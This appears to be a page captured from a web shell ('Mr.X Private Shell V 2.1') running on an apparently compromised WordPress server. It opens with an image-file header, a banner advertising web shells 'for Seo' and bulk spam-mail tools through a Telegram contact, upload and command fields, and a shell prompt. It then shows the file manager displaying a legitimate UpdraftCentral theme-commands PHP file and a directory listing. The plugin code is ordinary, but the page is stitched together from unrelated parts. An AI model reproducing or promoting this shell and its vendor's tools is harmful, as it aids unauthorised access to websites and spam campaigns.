����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.217.13: ~ $
<?php

if (!defined('UPDRAFTCENTRAL_CLIENT_DIR')) die('No access.');

/**
 * Handles UpdraftCentral Theme Commands which basically handles
 * the installation and activation of a theme
 */
class UpdraftCentral_Theme_Commands extends UpdraftCentral_Commands {

	private $switched = false;

	/**
	 * Function that gets called before every action
	 *
	 * @param string $command    a string that corresponds to UDC command to call a certain method for this class.
	 * @param array  $data       an array of data post or get fields
	 * @param array  $extra_info extrainfo use in the udrpc_action, e.g. user_id
	 *
	 * link to udrpc_action main function in class UpdraftCentral_Listener
	 */
	public function _pre_action($command, $data, $extra_info) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- This function is called from listener.php and $extra_info is being sent.
		// Here we assign the current blog_id to a variable $blog_id
		$blog_id = get_current_blog_id();
		if (!empty($data['site_id'])) $blog_id = $data['site_id'];
	
		if (function_exists('switch_to_blog') && is_multisite() && $blog_id) {
			$this->switched = switch_to_blog($blog_id);
		}
	}
	
	/**
	 * Function that gets called after every action
	 *
	 * @param string $command    a string that corresponds to UDC command to call a certain method for this class.
	 * @param array  $data       an array of data post or get fields
	 * @param array  $extra_info extrainfo use in the udrpc_action, e.g. user_id
	 *
	 * link to udrpc_action main function in class UpdraftCentral_Listener
	 */
	public function _post_action($command, $data, $extra_info) {// phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- Unused parameter is present because the caller from UpdraftCentral_Listener class uses 3 arguments.
		// Here, we're restoring to the current (default) blog before we switched
		if ($this->switched) restore_current_blog();
	}

	/**
	 * Constructor
	 */
	public function __construct() {
		$this->_admin_include('theme.php', 'file.php', 'template.php', 'class-wp-upgrader.php', 'theme-install.php', 'update.php');
	}

	/**
	 * Installs and activates a theme through upload
	 *
	 * @param array $params Parameter array containing information pertaining the currently uploaded theme
	 * @return array Contains the result of the current process
	 */
	public function upload_theme($params) {
		return $this->process_chunk_upload($params, 'theme');
	}

	/**
	 * Checks whether the theme is currently installed and activated.
	 *
	 * @param array $query Parameter array containing the name of the theme to check
	 * @return array Contains the result of the current process
	 */
	public function is_theme_installed($query) {

		if (!isset($query['theme']))
			return $this->_generic_error_response('theme_name_required');


		$result = $this->_get_theme_info($query['theme']);
		return $this->_response($result);
	}

	/**
	 * Applies currently requested action for theme processing
	 *
	 * @param string $action The action to apply (e.g. activate or install)
	 * @param array  $query  Parameter array containing information for the currently requested action
	 *
	 * @return array
	 */
	private function _apply_theme_action($action, $query) {

		$result = array();
		switch ($action) {
			case 'activate':
				$info = $this->_get_theme_info($query['theme']);
				if ($info['installed']) {
					switch_theme($info['slug']);
					if (wp_get_theme()->get_stylesheet() === $info['slug']) {
						$result = array('activated' => true, 'info' => $this->_get_theme_info($query['theme']), 'last_state' => $info);
					} else {
						$result = $this->_generic_error_response('theme_not_activated', array(
							'theme' => $query['theme'],
							'error_code' => 'theme_not_activated',
							'error_message' => __('There appears to be a problem activating or switching to the intended theme.', 'updraftplus').' '.__('Please check your permissions and try again.', 'updraftplus'),
							'info' => $this->_get_theme_info($query['theme'])
						));
					}
				} else {
					$result = $this->_generic_error_response('theme_not_installed', array(
						'theme' => $query['theme'],
						'error_code' => 'theme_not_installed',
						'error_message' => __('The theme you wish to activate is either not installed or has been removed recently.', 'updraftplus'),
						'info' => $info
					));
				}
				break;
			case 'network_enable':
				$info = $this->_get_theme_info($query['theme']);
				if ($info['installed']) {
					if (current_user_can('manage_network_themes')) {
						// Make sure that network_enable_theme is present and callable since
						// it is only available at 4.6. If not, we'll do things the old fashion way
						if (is_callable(array('WP_Theme', 'network_enable_theme'))) {
							WP_Theme::network_enable_theme($info['slug']);
						} else {
							$allowed_themes = get_site_option('allowedthemes');
							$allowed_themes[$info['slug']] = true;

							update_site_option('allowedthemes', $allowed_themes);
						}
					}

					$allowed = WP_Theme::get_allowed_on_network();
					if (is_array($allowed) && !empty($allowed[$info['slug']])) {
						$result = array('enabled' => true, 'info' => $this->_get_theme_info($query['theme']), 'last_state' => $info);
					} else {
						$result = $this->_generic_error_response('theme_not_enabled', array(
							'theme' => $query['theme'],
							'error_code' => 'theme_not_enabled',
							'error_message' => __('There appears to be a problem enabling the intended theme on your network.', 'updraftplus').' '.__('Please kindly check your permission and try again.', 'updraftplus'),
							'info' => $this->_get_theme_info($query['theme'])
						));
					}
				} else {
					$result = $this->_generic_error_response('theme_not_installed', array(
						'theme' => $query['theme'],
						'error_code' => 'theme_not_installed',
						'error_message' => __('The theme you wish to enable on your network is either not installed or has been removed recently.', 'updraftplus'),
						'info' => $info
					));
				}
				break;
			case 'network_disable':
				$info = $this->_get_theme_info($query['theme']);
				if ($info['installed']) {
					if (current_user_can('manage_network_themes')) {
						// Make sure that network_disable_theme is present and callable since
						// it is only available at 4.6. If not, we'll do things the old fashion way
						if (is_callable(array('WP_Theme', 'network_disable_theme'))) {
							WP_Theme::network_disable_theme($info['slug']);
						} else {
							$allowed_themes = get_site_option('allowedthemes');
							if (isset($allowed_themes[$info['slug']])) {
								unset($allowed_themes[$info['slug']]);
							}

							update_site_option('allowedthemes', $allowed_themes);
						}
					}

					$allowed = WP_Theme::get_allowed_on_network();
					if (is_array($allowed) && empty($allowed[$info['slug']])) {
						$result = array('disabled' => true, 'info' => $this->_get_theme_info($query['theme']), 'last_state' => $info);
					} else {
						$result = $this->_generic_error_response('theme_not_disabled', array(
							'theme' => $query['theme'],
							'error_code' => 'theme_not_disabled',
							'error_message' => __('There appears to be a problem disabling the intended theme from your network.', 'updraftplus').' '.__('Please kindly check your permission and try again.', 'updraftplus'),
							'info' => $this->_get_theme_info($query['theme'])
						));
					}
				} else {
					$result = $this->_generic_error_response('theme_not_installed', array(
						'theme' => $query['theme'],
						'error_code' => 'theme_not_installed',
						'error_message' => __('The theme you wish to disable from your network is either not installed or has been removed recently.', 'updraftplus'),
						'info' => $info
					));
				}
				break;
			case 'install':
				$api = themes_api('theme_information', array(
					'slug' => $query['slug'],
					'fields' => array(
						'description' => true,
						'sections' => false,
						'rating' => true,
						'ratings' => true,
						'downloaded' => true,
						'downloadlink' => true,
						'last_updated' => true,
						'screenshot_url' => true,
						'parent' => true,
					)
				));

				$info = $this->_get_theme_info($query['theme']);
				if (is_wp_error($api)) {
					$result = $this->_generic_error_response('generic_response_error', array(
						'theme' => $query['theme'],
						'error_code' => 'theme_not_installed',
						'error_message' => $api->get_error_message(),
						'info' => $info
					));
				} else {
					$installed = $info['installed'];

					$error_code = $error_message = '';
					if (!$installed) {
						// WP < 3.7
						if (!class_exists('Automatic_Upgrader_Skin')) include_once(dirname(dirname(__FILE__)).'/classes/class-automatic-upgrader-skin.php');

						$skin = new Automatic_Upgrader_Skin();
						$upgrader = new Theme_Upgrader($skin);

						$download_link = $api->download_link;
						$installed = $upgrader->install($download_link);

						if (is_wp_error($installed)) {
							$error_code = $installed->get_error_code();
							$error_message = $installed->get_error_message();
						} elseif (is_wp_error($skin->result)) {
							$error_code = $skin->result->get_error_code();
							$error_message = $skin->result->get_error_message();

							$error_data = $skin->result->get_error_data($error_code);
							if (!empty($error_data)) {
								if (is_array($error_data)) $error_data = json_encode($error_data);
								$error_message .= ' '.$error_data;
							}
						} elseif (is_null($installed) || !$installed) {
							global $wp_filesystem;
							$upgrade_messages = $skin->get_upgrade_messages();

							if (!class_exists('WP_Filesystem_Base')) include_once(ABSPATH.'/wp-admin/includes/class-wp-filesystem-base.php');

							// Pass through the error from WP_Filesystem if one was raised.
							if ($wp_filesystem instanceof WP_Filesystem_Base && is_wp_error($wp_filesystem->errors) && $wp_filesystem->errors->get_error_code()) {
								$error_code = $wp_filesystem->errors->get_error_code();
								$error_message = $wp_filesystem->errors->get_error_message();
							} elseif (!empty($upgrade_messages)) {
								// We're only after for the last feedback that we received from the install process. Mostly,
								// that is where the last error has been inserted.
								$messages = $skin->get_upgrade_messages();
								$error_code = 'install_failed';
								$error_message = end($messages);
							} else {
								$error_code = 'unable_to_connect_to_filesystem';
								$error_message = __('Unable to connect to the filesystem.', 'updraftplus').' '.__('Please confirm your credentials.', 'updraftplus');
							}
						}
					}

					if (!$installed || is_wp_error($installed)) {
						$result = $this->_generic_error_response('theme_install_failed', array(
							'theme' => $query['theme'],
							'error_code' => $error_code,
							'error_message' => $error_message,
							'info' => $this->_get_theme_info($query['theme'])
						));
					} else {
						$result = array('installed' => true, 'info' => $this->_get_theme_info($query['theme']), 'last_state' => $info);
					}
				}
				break;
		}

		return $result;
	}

	/**
	 * Preloads the submitted credentials to the global $_POST variable
	 *
	 * @param array $query Parameter array containing information for the currently requested action
	 */
	private function _preload_credentials($query) {
		if (!empty($query) && isset($query['filesystem_credentials'])) {
			parse_str($query['filesystem_credentials'], $filesystem_credentials);
			if (is_array($filesystem_credentials)) {
				foreach ($filesystem_credentials as $key => $value) {
					// Put them into $_POST, which is where request_filesystem_credentials() checks for them.
					$_POST[$key] = $value;
				}
			}
		}
	}

	/**
	 * Checks whether we have the required fields submitted and the user has
	 * the capabilities to execute the requested action
	 *
	 * @param array $query        The submitted information
	 * @param array $fields       The required fields to check
	 * @param array $capabilities The capabilities to check and validate
	 *
	 * @return array|string
	 */
	private function _validate_fields_and_capabilities($query, $fields, $capabilities) {

		$error = '';
		if (!empty($fields)) {
			for ($i=0; $i<count($fields); $i++) {
				$field = $fields[$i];

				if (!isset($query[$field])) {
					if ('keyword' === $field) {
						$error = $this->_generic_error_response('keyword_required');
					} else {
						$error = $this->_generic_error_response('theme_'.$query[$field].'_required');
					}
					break;
				}
			}
		}

		if (empty($error) && !empty($capabilities)) {
			for ($i=0; $i<count($capabilities); $i++) {
				if (!current_user_can($capabilities[$i])) {
					$error = $this->_generic_error_response('theme_insufficient_permission');
					break;
				}
			}
		}

		return $error;
	}

	/**
	 * Processing an action for multiple items
	 *
	 * @param array $query Parameter array containing a list of themes to process
	 * @return array Contains the results of the bulk process
	 */
	public function process_action_in_bulk($query) {
		$action = isset($query['action']) ? $query['action'] : '';
		$items = isset($query['args']) ? $query['args']['items'] : array();

		$results = array();
		if (!empty($action) && !empty($items) && is_array($items)) {
			foreach ($items as $value) {
				if (method_exists($this, $action)) {
					$results[] = $this->$action($value);
				}
			}
		}

		return $this->_response($results);
	}

	/**
	 * Activates the theme
	 *
	 * @param array $query Parameter array containing the name of the theme to activate
	 * @return array Contains the result of the current process
	 */
	public function activate_theme($query) {

		$fields = array('theme');
		$permissions = array('switch_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$result = $this->_apply_theme_action('activate', $query);
		if (empty($result['activated'])) {
			return $result;
		}

		return $this->_response($result);
	}

	/**
	 * Enables theme for network
	 *
	 * @param array $query Parameter array containing the name of the theme to activate
	 * @return array Contains the result of the current process
	 */
	public function network_enable_theme($query) {

		$fields = array('theme');
		$permissions = array('switch_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$result = $this->_apply_theme_action('network_enable', $query);
		if (empty($result['enabled'])) {
			return $result;
		}

		return $this->_response($result);
	}

	/**
	 * Disables theme from network
	 *
	 * @param array $query Parameter array containing the name of the theme to activate
	 * @return array Contains the result of the current process
	 */
	public function network_disable_theme($query) {

		$fields = array('theme');
		$permissions = array('switch_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$result = $this->_apply_theme_action('network_disable', $query);
		if (empty($result['disabled'])) {
			return $result;
		}

		return $this->_response($result);
	}

	/**
	 * Download, install and activates the theme
	 *
	 * @param array $query Parameter array containing the filesystem credentials entered by the user along with the theme name and slug
	 * @return array Contains the result of the current process
	 */
	public function install_activate_theme($query) {

		$fields = array('theme', 'slug');
		$permissions = array('install_themes', 'switch_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$result = $this->_apply_theme_action('install', $query);
		if (!empty($result['installed']) && $result['installed']) {
			$result = $this->_apply_theme_action('activate', $query);
			if (empty($result['activated'])) {
				return $result;
			}
		} else {
			return $result;
		}

		return $this->_response($result);
	}

	/**
	 * Download, install the theme
	 *
	 * @param array $query Parameter array containing the filesystem credentials entered by the user along with the theme name and slug
	 * @return array Contains the result of the current process
	 */
	public function install_theme($query) {

		$fields = array('theme', 'slug');
		$permissions = array('install_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$result = $this->_apply_theme_action('install', $query);
		if (empty($result['installed'])) {
			return $result;
		}

		return $this->_response($result);
	}

	/**
	 * Uninstall/delete the theme
	 *
	 * @param array $query Parameter array containing the filesystem credentials entered by the user along with the theme name and slug
	 * @return array Contains the result of the current process
	 */
	public function delete_theme($query) {

		$fields = array('theme');
		$permissions = array('delete_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);

		$info = $this->_get_theme_info($query['theme']);
		if ($info['installed']) {
			$deleted = delete_theme($info['slug']);

			if ($deleted) {
				$result = array('deleted' => true, 'info' => $this->_get_theme_info($query['theme']), 'last_state' => $info);
			} else {
				return $this->_generic_error_response('delete_theme_failed', array(
					'theme' => $query['theme'],
					'error_code' => 'delete_theme_failed',
					'info' => $info
				));
			}
		} else {
			return $this->_generic_error_response('theme_not_installed', array(
				'theme' => $query['theme'],
				'error_code' => 'theme_not_installed',
				'info' => $info
			));
		}

		return $this->_response($result);
	}

	/**
	 * Updates/upgrade the theme
	 *
	 * @param array $query Parameter array containing the filesystem credentials entered by the user along with the theme name and slug
	 * @return array Contains the result of the current process
	 */
	public function update_theme($query) {

		$fields = array('theme');
		$permissions = array('update_themes');

		$error = $this->_validate_fields_and_capabilities($query, $fields, $permissions);
		if (!empty($error)) {
			return $error;
		}

		$this->_preload_credentials($query);
		
		// Make sure that we still have the theme installed before running
		// the update process
		$info = $this->_get_theme_info($query['theme']);
		if ($info['installed']) {
			// Load the updates command class if not existed
			if (!class_exists('UpdraftCentral_Updates_Commands')) include_once('updates.php');
			$update_command = new UpdraftCentral_Updates_Commands($this->rc);

			$result = $update_command->update_theme($info['slug']);
			if (!empty($result['error'])) {
				$result['values'] = array('theme' => $query['theme'], 'info' => $info);
			}
		} else {
			return $this->_generic_error_response('theme_not_installed', array(
				'theme' => $query['theme'],
				'error_code' => 'theme_not_installed',
				'info' => $info
			));
		}

		return $this->_response($result);
	}

	/**
	 * Gets the theme information along with its active and install status
	 *
	 * @internal
	 * @param array $theme The name of the theme to pull the information from
	 * @return array Contains the theme information
	 */
	private function _get_theme_info($theme) {

		$info = array(
			'active' => false,
			'installed' => false
		);

		// Clear theme cache so that newly installed/downloaded themes
		// gets reflected when calling "get_themes"
		if (function_exists('wp_clean_themes_cache')) {
			wp_clean_themes_cache();
		}
		
		// Gets all themes available.
		$themes = wp_get_themes();
		$current_theme_slug = basename(get_stylesheet_directory());

		// Loops around each theme available.
		foreach ($themes as $slug => $value) {
			$name = $value->get('Name');
			$theme_name = !empty($name) ? $name : $slug;

			// If the theme name matches that of the specified name, it will gather details.
			if ($theme_name === $theme) {
				$info['installed'] = true;
				$info['active'] = ($slug === $current_theme_slug) ? true : false;
				$info['slug'] = $slug;
				$info['data'] = $value;
				$info['name'] = $theme_name;
				break;
			}
		}

		return $info;
	}

	/**
	 * Loads all available themes with additional attributes and settings needed by UpdraftCentral
	 *
	 * @param array $query Parameter array Any available parameters needed for this action
	 * @return array Contains the result of the current process
	 */
	public function load_themes($query) {
		$permissions = array('install_themes', 'switch_themes');
		$args = array();
		if (is_multisite() && !is_super_admin(get_current_user_id())) {
			$permissions = array('switch_themes');
			$args = array('allowed' => true, 'blog_id' => get_current_blog_id());
		}

		$error = $this->_validate_fields_and_capabilities($query, array(), $permissions);
		if (!empty($error)) {
			return $error;
		}

		// Get pagination parameters early
		$updates_only = isset($query['updates_only']) ? filter_var($query['updates_only'], FILTER_VALIDATE_BOOLEAN) : false;
		$include_updates_pagination = isset($query['include_updates_pagination']) && $query['include_updates_pagination'];
		$per_page = isset($query['per_page']) ? (int) $query['per_page'] : 10;
		$page = isset($query['page']) ? (int) $query['page'] : 1;
		$offset = ($page - 1) * $per_page;

		// A call is considered legacy if neither updates_only nor include_updates_pagination flags are set
		$is_legacy_call = !isset($query['updates_only']) && !isset($query['include_updates_pagination']) && !isset($query['per_page']);
		$sort_direction = isset($query['sort_direction']) ? strtolower($query['sort_direction']) : 'asc';

		// Initialize arrays
		$themes_with_updates = array();
		$themes_without_updates = array();
		$installed_slugs = array();
		$snoozed_themes_info = array();

		// Get current theme info once
		$current_theme_slug = basename(get_stylesheet_directory());
		$website = get_bloginfo('name');

		// Load updates
		if (!class_exists('UpdraftCentral_Updates_Commands')) include_once('updates.php');
		$updates = new UpdraftCentral_Updates_Commands($this->rc);
		$theme_updates = (array) $updates->get_item_updates('themes');

		// Get all themes
		$themes = wp_get_themes($args);
		
		// Sort themes by name
		if (!empty($themes)) {
			uasort($themes, array($this, '_sort_themes_by_name'));
		}
		
		// Get list of snoozed theme slugs if provided
		$snoozed_slugs = isset($query['snoozed_themes']) ? $query['snoozed_themes'] : array();

		// Prepare config object for theme data
		$config = array(
			'website' => $website,
			'current_theme_slug' => $current_theme_slug,
			'is_legacy_call' => $is_legacy_call,
			'snoozed_slugs' => $snoozed_slugs
		);

		// Process themes efficiently
		foreach ($themes as $slug => $value) {
			// Skip processing if we're only looking for updates and this theme has none
			if ($updates_only && empty($theme_updates[$slug])) {
				continue;
			}

			$config['slug'] = $slug;
			$theme = $this->_prepare_theme_data($value, $config);

			// Track installed slugs if needed
			if (!empty($query['get_installed_slugs'])) {
				$installed_slugs[] = $slug;
			}

			// Check for updates and categorize
			if (!empty($theme_updates[$slug]) && version_compare($theme->version, $theme_updates[$slug]->update['new_version'], '<')) {
				$theme = $this->_add_update_info($theme, $theme_updates[$slug], $is_legacy_call);

				// Add to themes_with_updates regardless of snooze status
				if ($slug === $current_theme_slug) {
					$themes_with_updates = array($theme->slug => $theme) + $themes_with_updates;
				} else {
					$themes_with_updates[$theme->slug] = $theme;
				}

				// Track snoozed status separately
				if (in_array($slug, $snoozed_slugs)) {
					$snoozed_themes_info[$slug] = $theme;
				}
			} else {
				if ($slug === $current_theme_slug) {
					$themes_without_updates = array($theme->slug => $theme) + $themes_without_updates;
				} else {
					$themes_without_updates[$theme->slug] = $theme;
				}
			}
		}


		// Handle response based on call type
		if ($is_legacy_call) {
			$result = $this->_prepare_legacy_response($themes_with_updates, $themes_without_updates, $theme_updates);
		} else {
			$result = $this->_prepare_paginated_response(
				$themes_with_updates,
				$themes_without_updates,
				$updates_only,
				$include_updates_pagination,
				$per_page,
				$page,
				$offset,
				$current_theme_slug,
				$sort_direction
			);
		}

		// Add installed slugs if requested
		if (!empty($query['get_installed_slugs'])) {
			$result['installed_slugs'] = $installed_slugs;
		}

		// Add snoozed themes info if any were requested
		if (!empty($snoozed_themes_info)) {
			$result['snoozed_themes_info'] = $snoozed_themes_info;
		}

		return $this->_response(array_merge($result, $this->_get_backup_credentials_settings(get_theme_root())));
	}

	/**
	 * Prepare basic theme data
	 *
	 * @param WP_Theme $value  Theme object
	 * @param array    $config Configuration array containing:
	 *                         - slug: Theme slug
	 *                         - website: Website name
	 *                         - current_theme_slug: Current active theme slug
	 *                         - is_legacy_call: Whether this is a legacy call
	 *                         - snoozed_slugs: Array of snoozed theme slugs
	 * @return stdClass Theme data object
	 */
	private function _prepare_theme_data($value, $config) {
		$theme = new stdClass();
		$theme->name = $value->get('Name') ? $value->get('Name') : $config['slug'];
		$theme->description = $value->get('Description');
		$theme->slug = $config['slug'];
		$theme->version = $value->get('Version');
		$theme->author = $value->get('Author');
		$theme->status = ($config['slug'] === $config['current_theme_slug']) ? 'active' : 'inactive';

		// Set is_snoozed property for all themes
		$theme->is_snoozed = !empty($config['snoozed_slugs']) && in_array($config['slug'], $config['snoozed_slugs']);

		if (!$config['is_legacy_call']) {
			$screenshot = $value->get_screenshot();
			$theme->screenshot = $screenshot ? $screenshot : null;
			$theme->has_update = false;
		}

		$template = $value->get('Template');
		$theme->child_theme = !empty($template);
		$theme->website = $config['website'];
		$theme->multisite = is_multisite();
		$theme->site_url = trailingslashit(get_bloginfo('url'));

		if ($theme->child_theme) {
			$parent_theme = wp_get_theme($template);
			$theme->parent = $parent_theme->get('Name') ? $parent_theme->get('Name') : $parent_theme->get_stylesheet();
		}

		if (empty($theme->short_description) && !empty($theme->description)) {
			$temp = explode('.', $theme->description);
			$theme->short_description = $temp[0] . (isset($temp[1]) ? '.' . $temp[1] : '') . '.';
		}

		return $theme;
	}

	/**
	 * Add update information to theme object
	 *
	 * @param stdClass $theme          Theme object
	 * @param object   $update_info    Update information
	 * @param bool     $is_legacy_call Whether this is a legacy call
	 * @return stdClass Updated theme object
	 */
	private function _add_update_info($theme, $update_info, $is_legacy_call) {
		$theme->latest_version = $update_info->update['new_version'];
		$theme->download_link = $update_info->update['package'];

		if (!$is_legacy_call) {
			$theme->update_url = $update_info->update['url'];
			$theme->requires = $update_info->update['requires'];
			$theme->requires_php = $update_info->update['requires_php'];
			$theme->has_update = true;
		}

		return $theme;
	}

	/**
	 * Prepare legacy response format
	 *
	 * @param array $themes_with_updates    Themes with updates
	 * @param array $themes_without_updates Themes without updates
	 * @param array $theme_updates          Theme updates data
	 * @return array Legacy format response
	 */
	private function _prepare_legacy_response($themes_with_updates, $themes_without_updates, $theme_updates) {
		return array(
			'themes' => array_merge(array_values($themes_with_updates), array_values($themes_without_updates)),
			'theme_updates' => $theme_updates,
			'is_super_admin' => is_super_admin(),
		);
	}

	/**
	 * Prepare paginated response format
	 *
	 * @param array  $themes_with_updates        Themes with updates
	 * @param array  $themes_without_updates     Themes without updates
	 * @param bool   $updates_only               Whether only updates are requested
	 * @param bool   $include_updates_pagination Whether to include updates pagination
	 * @param int    $per_page                   Number of items per page
	 * @param int    $page                       Current page number
	 * @param int    $offset                     Offset for pagination
	 * @param string $current_theme_slug         Current active theme slug
	 * @param string $sort_direction             Sort direction
	 * @return array Paginated response
	 */
	private function _prepare_paginated_response($themes_with_updates, $themes_without_updates, $updates_only, $include_updates_pagination, $per_page, $page, $offset, $current_theme_slug, $sort_direction) {

		// If only requesting updates, filter out snoozed themes here
		if ($updates_only) {
			$filtered_updates = array_filter($themes_with_updates, array($this, '_filter_non_snoozed'));
			$results = array_slice($filtered_updates, $offset, $per_page);
			return array(
				'theme_updates' => $results,
				'pagination' => array(
					'total' => count($filtered_updates),
					'per_page' => $per_page,
					'current_page' => $page,
					'total_pages' => ceil(count($filtered_updates) / $per_page)
				)
			);
		}

		// For all themes view, merge and sort
		$all_themes = array_merge($themes_with_updates, $themes_without_updates);

		// Sort themes
		global $current_theme_slug, $sort_direction;
		$current_theme_slug = $current_theme_slug;
		$sort_direction = $sort_direction;
		uasort($all_themes, array($this, '_sort_themes_with_active'));
		
		// Get paginated results for all themes
		$results = array_slice($all_themes, $offset, $per_page);

		// Filter out snoozed themes from updates list
		$filtered_updates = array_filter($themes_with_updates, array($this, '_filter_non_snoozed'));

		// For theme_updates, use the filtered list
		$paginated_updates = $include_updates_pagination ? array_slice($filtered_updates, 0, $per_page) : $filtered_updates;

		// Return with all the original data
		$total_themes = count($all_themes);
		$result = array(
			'themes' => $results, // Contains ALL themes including snoozed ones
			'theme_updates' => $paginated_updates, // Contains only non-snoozed themes with updates
			'is_super_admin' => is_super_admin(),
			'pagination' => array(
				'total' => $total_themes,
				'per_page' => $per_page,
				'current_page' => $page,
				'total_pages' => ceil($total_themes / $per_page)
			),
			'updates_count' => count($filtered_updates)
		);

		if ($include_updates_pagination) {
			$result['updates_pagination'] = array(
				'total' => count($filtered_updates),
				'per_page' => $per_page,
				'current_page' => 1,
				'total_pages' => ceil(count($filtered_updates) / $per_page)
			);
		}
		return $result;
	}

	/**
	 * Sort themes by name
	 *
	 * @param object $a Theme object
	 * @param object $b Theme object
	 * @return int Comparison result
	 */
	private function _sort_themes_by_name($a, $b) {
		global $sort_direction;
		$result = strcasecmp($a->name, $b->name);
		return 'desc' === $sort_direction ? -$result : $result;
	}

	/**
	 * Sort all themes while keeping active theme first
	 *
	 * @param object $a Theme object
	 * @param object $b Theme object
	 * @return int Comparison result
	 */
	private function _sort_themes_with_active($a, $b) {
		global $current_theme_slug, $sort_direction;
		// Active theme always first
		if ($a->slug === $current_theme_slug) return -1;
		if ($b->slug === $current_theme_slug) return 1;

		// Sort by name respecting direction
		$result = strcasecmp($a->name, $b->name);
		return 'desc' === $sort_direction ? -$result : $result;
	}
	
	/**
	 * Filter out snoozed themes
	 *
	 * @param object $theme Theme object
	 * @return bool Whether the theme is not snoozed
	 */
	private function _filter_non_snoozed($theme) {
		return !$theme->is_snoozed;
	}
	
	/**
	 * Gets the backup and security credentials settings for this website
	 *
	 * @param array $query Parameter array Any available parameters needed for this action
	 * @return array Contains the result of the current process
	 */
	public function get_theme_requirements() {
		return $this->_response($this->_get_backup_credentials_settings(get_theme_root()));
	}
}

Filemanager

Name Type Size Permission Actions
analytics.php File 13.38 KB 0644
backups.php File 15.07 KB 0644
comments.php File 27.73 KB 0644
core.php File 22.88 KB 0644
media.php File 20.58 KB 0644
pages.php File 459 B 0644
plugin.php File 24.4 KB 0644
posts.php File 68 KB 0644
reporting.php File 11.88 KB 0644
rest.php File 3.05 KB 0644
theme.php File 32.3 KB 0644
updates.php File 36.11 KB 0644
users.php File 18.86 KB 0644